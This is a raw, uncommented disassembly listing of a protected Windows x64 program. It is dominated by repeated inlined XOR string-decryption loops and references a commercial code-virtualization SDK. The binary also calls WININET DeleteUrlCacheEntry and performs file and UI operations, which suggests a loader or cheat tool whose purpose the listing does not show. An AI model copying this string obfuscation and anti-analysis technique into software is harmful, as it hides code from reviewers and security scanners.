lea rdx, [rbp + 0xb10]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0xd48]
lea rcx, [rbp + 0x41]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063370
mov r10, rax
cmp byte [rax + 0x10], r15b
je 0x1400582a1
mov r8d, r15d
cmp r13d, 2
jl 0x140058261
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140058170
cmp r8d, 0x11
jge 0x1400582a1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140058270
mov rcx, r10
call fcn.140042da0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x3c40]
call fcn.140063810
lea rdx, [rbp + 0x1048]
lea rcx, [rbp + 0x42]
call fcn.1400631f0
mov r10, rax
cmp byte [rax + 0x1a], r15b
je 0x140058421
mov r8d, r15d
cmp r13d, 2
jl 0x1400583e1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400582f0
cmp r8d, 0x1b
jge 0x140058421
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x1400583f0
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rcx, [rbp + 0x3c40]
mov rdx, r10
call fcn.140063970
lea rcx, [rbp + 0x3c40]
call fcn.140063960
test al, al
je 0x1400585d8
mov rax, qword [rbp + 0x3c40]
mov dl, 0xa
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x3c40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x140086310]
lea rcx, [rbp + 0x3c40]
call fcn.140066350
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400585d8
lea rcx, [rbp + 0x378]
mov dword [rbp + 0x378], 0x429e0000
mov dword [rbp + 0x37c], 0x42580000
call fcn.140013890
mov rcx, qword [0x140086d98]
call fcn.140012400
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xb20]
mov r8d, edx
call fcn.1400427e0
lea rcx, [0x140086310]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140064a50
movzx edx, word [0x140077ce0]
movzx ecx, byte [0x140077ce2]
movsd xmm0, qword [0x140077cd8]
xor cl, 0x3c
movsd qword [rbp + 0x6c0], xmm0
xor byte [rbp + 0x6c1], 0x33
xor byte [rbp + 0x6c2], 0x34
xor byte [rbp + 0x6c3], 0x35
xor byte [rbp + 0x6c4], 0x36
xor byte [rbp + 0x6c5], 0x37
xor byte [rbp + 0x6c6], 0x38
xor byte [rbp + 0x6c7], 0x39
mov word [rbp + 0x6c8], dx
xor dl, 0x3a
xor byte [rbp + 0x6c9], 0x3b
mov byte [rbp + 0x6c8], dl
mov rdx, rax
mov byte [rbp + 0x6ca], cl
lea rcx, [rbp + 0x6c0]
mov byte [rbp + 0x6c0], 0x55
call fcn.140042da0
mov rax, qword [rbp + 0x3c40]
mov dl, 0xa
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x3c40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x140086310]
lea rcx, [rbp + 0x3c40]
call fcn.140066350
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1400584a4
lea rcx, [rbp + 0x3c40]
call fcn.140063920
lea rcx, [rbp + 0x3c40]
call fcn.1400637a0
movss xmm2, dword [0x140078610]
lea rcx, [rbp + 0x380]
movss xmm1, dword [0x1400785dc]
call fcn.140001080
mov rcx, rax
call fcn.140013890
movss xmm2, dword [0x1400785e4]
lea rcx, [rbp + 0x388]
movss xmm1, dword [0x140078668]
call fcn.140001080
mov r9, rax
lea rdx, [0x140086e39]
xor r8d, r8d
lea rcx, [0x140074ba8]
call fcn.14004c980
test al, al
je 0x14005865f
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
mov byte [0x140086dfd], r15b
movss xmm2, dword [0x140078610]
lea rcx, [rbp + 0x390]
movss xmm1, dword [0x1400785d8]
call fcn.140001080
mov rcx, rax
call fcn.140013890
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm13
movaps xmm2, xmm13
lea rcx, [rbp + 0xb30]
movaps xmm1, xmm13
call fcn.140001090
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0xb40]
movaps xmm1, xmm10
mov r14, rax
call fcn.140001090
movaps xmm2, xmm10
lea rcx, [rbp + 0x398]
movaps xmm1, xmm10
mov rsi, rax
call fcn.140001080
movaps xmm2, xmm13
lea rcx, [rbp + 0x3a0]
movaps xmm1, xmm13
mov rdi, rax
call fcn.140001080
movss xmm2, dword [0x1400785e4]
lea rcx, [rbp + 0x3a8]
movss xmm1, dword [0x140078664]
mov rbx, rax
call fcn.140001080
mov rcx, qword [rbp + 0x3960]
mov r9, rdi
mov r8, rbx
mov qword [rsp + 0x28], r14
mov rdx, rax
mov qword [rsp + 0x20], rsi
call fcn.140045500
movss xmm2, dword [0x140078614]
lea rcx, [rbp + 0x3b0]
movss xmm1, dword [0x14007860c]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov rcx, qword [0x140086d88]
call fcn.140012400
cmp byte [0x140086e39], r15b
mov dword [rsp + 0x20], 0xff
je 0x140058926
mov edx, 0xa7
lea rcx, [rbp + 0xb50]
mov r9d, 5
mov r8d, 0xf7
call fcn.1400427e0
lea rdx, [rbp + 0xb60]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0xe20]
lea rcx, [rbp + 0x43]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063390
mov r10, rax
cmp byte [rax + 0x15], r15b
je 0x140058ac1
mov r8d, r15d
cmp r13d, 2
jl 0x1400588e1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x1400587f0
cmp r8d, 0x16
jge 0x140058ac1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x1400588f0
jmp 0x140058ac1
mov edx, 0xff
lea rcx, [rbp + 0xb70]
mov r9d, edx
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0xb80]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0xe08]
lea rcx, [rbp + 0x44]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063390
mov r10, rax
cmp byte [rax + 0x15], r15b
je 0x140058ac1
mov r8d, r15d
cmp r13d, 2
jl 0x140058a81
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140058990
cmp r8d, 0x16
jge 0x140058ac1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140058a90
mov rcx, r10
call fcn.140042da0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x3d50]
call fcn.140063810
lea rdx, [rbp + 0x1028]
lea rcx, [rbp + 0x45]
call fcn.140063220
mov r10, rax
cmp byte [rax + 0x1a], r15b
je 0x140058c41
mov r8d, r15d
cmp r13d, 2
jl 0x140058c01
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140058b10
cmp r8d, 0x1b
jge 0x140058c41
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x140058c10
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rcx, [rbp + 0x3d50]
mov rdx, r10
call fcn.140063970
lea rcx, [rbp + 0x3d50]
call fcn.140063960
test al, al
je 0x140058df8
mov rax, qword [rbp + 0x3d50]
mov dl, 0xa
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x3d50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x1400862f0]
lea rcx, [rbp + 0x3d50]
call fcn.140066350
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140058df8
lea rcx, [rbp + 0x3b8]
mov dword [rbp + 0x3b8], 0x429e0000
mov dword [rbp + 0x3bc], 0x42c60000
call fcn.140013890
mov rcx, qword [0x140086d98]
call fcn.140012400
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xb90]
mov r8d, edx
call fcn.1400427e0
lea rcx, [0x1400862f0]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140064a50
movzx edx, word [0x140077ce0]
movzx ecx, byte [0x140077ce2]
movsd xmm0, qword [0x140077cd8]
xor cl, 0x3c
movsd qword [rbp + 0x6d0], xmm0
xor byte [rbp + 0x6d1], 0x33
xor byte [rbp + 0x6d2], 0x34
xor byte [rbp + 0x6d3], 0x35
xor byte [rbp + 0x6d4], 0x36
xor byte [rbp + 0x6d5], 0x37
xor byte [rbp + 0x6d6], 0x38
xor byte [rbp + 0x6d7], 0x39
mov word [rbp + 0x6d8], dx
xor dl, 0x3a
xor byte [rbp + 0x6d9], 0x3b
mov byte [rbp + 0x6d8], dl
mov rdx, rax
mov byte [rbp + 0x6da], cl
lea rcx, [rbp + 0x6d0]
mov byte [rbp + 0x6d0], 0x55
call fcn.140042da0
mov rax, qword [rbp + 0x3d50]
mov dl, 0xa
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x3d50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x1400862f0]
lea rcx, [rbp + 0x3d50]
call fcn.140066350
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140058cc4
lea rcx, [rbp + 0x3d50]
call fcn.140063920
lea rcx, [rbp + 0x3d50]
call fcn.1400637a0
mov edx, Ordinal_27
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xba0]
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0xbb0]
mov rcx, rax
call fcn.14002b020
mov edx, Ordinal_27
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xbc0]
mov r8d, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x244], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0xbd0]
mov rcx, rax
call fcn.14002b020
mov edx, Ordinal_27
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xbe0]
mov r8d, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x254], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0xbf0]
mov rcx, rax
call fcn.14002b020
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xc00]
mov r8d, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x264], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0xc10]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0x36b0]
lea rcx, [rbp + 0x46]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063270
mov r10, rax
cmp byte [rax + 0x35], r15b
je 0x140059061
mov r8d, r15d
cmp r13d, 2
jl 0x140059021
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140058f30
cmp r8d, 0x36
jge 0x140059061
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x140059030
mov rdx, r10
lea rcx, [rbp + 0x1bc8]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x1be8]
call fcn.1400655a0
mov rdx, rax
lea rcx, [rbp + 0x3a90]
call fcn.140051cd0
lea rcx, [rbp + 0x1bc8]
call fcn.140064ae0
lea rdx, [rbp + 0x36e8]
lea rcx, [rbp + 0x47]
call fcn.140063270
mov r10, rax
cmp byte [rax + 0x35], r15b
je 0x140059211
mov r8d, r15d
cmp r13d, 2
jl 0x1400591d1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400590e0
cmp r8d, 0x36
jge 0x140059211
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x1400591e0
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rdx, [rbp + 0xda8]
mov dword [rbp + 0x39c4], r15d
lea rcx, [rbp + 0x48]
call fcn.1400633c0
mov rbx, rax
cmp byte [rax + 0x11], r15b
je 0x140059391
mov r8d, r15d
cmp r13d, 2
jl 0x140059351
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140059260
cmp r8d, 0x12
jge 0x140059391
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x140059360
lea rcx, [rbp + 0x3a90]
call fcn.140064a50
lea r8, [rbp + 0x39c4]
mov rdx, rbx
mov rcx, rax
call fcn.140001230
movss xmm2, dword [0x14007863c]
lea rcx, [rbp + 0x3c0]
movss xmm1, dword [0x1400785f8]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov rcx, qword [0x140086d98]
call fcn.140012400
movss xmm2, dword [0x1400785c0]
lea rcx, [rbp + 0x3c8]
movss xmm1, dword [0x140078684]
mov byte [rbp + 0x39c0], 1
call fcn.140001080
mov r9, rax
lea rdx, [rbp + 0x39c0]
xor r8d, r8d
lea rcx, [0x140077c00]
call fcn.14004c980
test al, al
je 0x14005943f
mov byte [0x140086dfa], r15b
mov byte [0x140086dfe], r15b
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
mov byte [0x140086df9], r15b
movaps xmm1, xmm14
movss xmm2, dword [0x14007863c]
cmp byte [rbp + 0x39c0], r15b
je 0x140059630
lea rcx, [rbp + 0x3d0]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xa7
mov dword [rsp + 0x20], 0xff
mov r9d, 5
lea rcx, [rbp + 0xc20]
mov r8d, 0xf7
call fcn.1400427e0
lea rdx, [rbp + 0xc30]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0xe38]
lea rcx, [rbp + 0x49]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
mov ebx, dword [rbp + 0x39c4]
call fcn.1400633e0
mov r10, rax
cmp byte [rax + 0x16], r15b
je 0x140059621
mov r8d, r15d
cmp r13d, 2
jl 0x1400595e1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
